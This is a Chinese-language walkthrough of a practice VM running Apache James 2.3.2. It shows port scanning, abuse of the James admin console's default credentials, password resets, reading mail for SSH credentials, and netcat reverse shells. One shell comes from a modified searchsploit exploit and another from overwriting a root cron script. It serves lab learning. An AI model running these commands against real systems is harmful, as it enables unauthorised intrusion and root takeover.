声明！本文章及工具分享仅仅只是供大家学习交流为主，如有任何触犯法律的行为，均与本人及团队无关！！！
工具链接：https://pan.quark.cn/s/33795a10039c
一、靶机搭建
点击扫描虚拟机
选择靶机使在文件夹即可
建议kali和靶机的网络都使用NAT模式
二、信息收集
1. 扫出ip信息
bash
nmap -sN 192.168.108.0/24扫描结果：
排除kali自身，即192.168.108.138为靶机ip
2. 查找开放端口和服务信息
bash
nmap 192.168.108.138 -p 1-65535
nmap -sV 192.168.108.138扫描结果：
可用信息：
22/tcp open ssh
25/tcp open smtp
80/tcp open http
110/tcp open pop3
119/tcp open nntp
4555/tcp open rsip
3. 指纹探测找出系统版本信息
bash
nmap 192.168.108.138 -p 22,25,80,110,119,4555 -sV -sC -O --version-all 结果如下
可用信息：
Linux 3.2-4.9
CPE: cpe:/o:linux:linux_kernel
三、寻找攻击点并攻击
1. 寻找信息
访问开启的web端口，发现4555端口可能存在用户名密码登录
搜索相关漏洞，发现默认账号密码
搜索此漏洞，有两个可以利用的脚本
php
searchsploit JAMES 2.3.2
下载下来备用
php
searchsploit -m 50347.py
python 50347.py -h
利用方式为
php
python 50347.py 靶机ip 攻击机ip 监听端口2. 尝试攻击
连接此端口，输入账号密码登录
bash
nc 192.168.108.138 4555
help
以上是一个pop3的协议，翻译过来看看
help：显示此帮助信息
listusers：显示现有账户
countusers：显示账户数量
adduser [用户名] [密码]：添加新用户
verify [用户名]：验证指定用户是否存在
deluser [用户名]：删除现有用户
setpassword [用户名] [密码]：设置用户密码
setalias [用户] [别名]：将 ' 用户 ' 的所有邮件本地转发到 ' 别名'
showalias [用户名]：显示用户的当前邮件别名
unsetalias [用户]：取消 ' 用户 ' 的别名
setforwarding [用户名] [邮箱地址]：将用户的邮件转发到另一个邮箱地址
showforwarding [用户名]：显示用户当前的邮件转发设置
unsetforwarding [用户名]：取消转发
user [存储库名]：切换到另一个用户存储库
shutdown：关闭当前 JVM（当 James 作为守护进程运行时很方便）
quit：关闭连接
执行命令
bash
listusers
setpassword 账号名更改所有账户的密码为1，留着备用
先看看telnet连接后的命令使用，大小写任意
USER: 提供用户名以进行身份验证。
PASS: 提供密码以进行身份验证。
LIST: 列出邮件。
RETR: 查看或下载指定邮件。
DELE: 删除指定邮件。
QUIT: 结束会话。
再看看回显信息
user 用户名: 这是用来输入用户名的命令。
+OK: 服务器确认接收用户名。
pass 密码: 这是用来输入密码的命令。
+OK Welcome 用户名: 服务器确认密码正确，并欢迎用户。
-ERR：表示返回错误
list: 这是一个常见的邮件协议命令，用于列出邮件信息，如邮件数量及其大小。
+OK 1 743: 服务器响应，表示成功获取信息，通常会返回邮件的数量和大小，1代表一个邮件，743代表字节大小
利用telnet命令连接，因为前两个用户并没有邮箱信息，所以就不放截图了，这里看john用户，查看邮件信息
telnet ip
user john
pass 1
retr 1
发现提示我们去看mindy账户，同样的方式访问mindy账户，在第二个邮件里发现登录名和密码
账号：mindy
密码：P@55W0rd1!2@
3. ssh登录并利用
尝试ssh登录
php
ssh mindy@192.168.108.138
-rbash：被限制的bash，此bash命令被限制，按两次tab看看有什么命令可以用
看看etc/passwd里面有什么sh可以利用
可以尝试利用mindy的rbash进行shell反弹
4. 脚本利用
编辑刚才的脚本，修改一下
php
vim 50347.py
pyload = 'nc -e bin/sh 攻击机ip 监听端口'
先执行一下脚本
php
python3 50347.py 192.168.108.138 192.168.108.130 4444
5. 获得完整权限
一个面板执行ssh登录，一个面板监听
成功获得
四、提权
因为是james账户提示的mindy，所以看看进程
发现可疑信息opt文件夹
php
cd opt
ls -ll
cat tmp.py这个代码的意思是定期删除/tmp目录下的内容
写个反弹shell提权，并开启端口监听
php
echo 'import os; os.system("/bin/nc 192.168.108.130 9999 -e /bin/bash")' > /opt/tmp.py
cat tmp.py
python tmp.py
此时即可获得root权限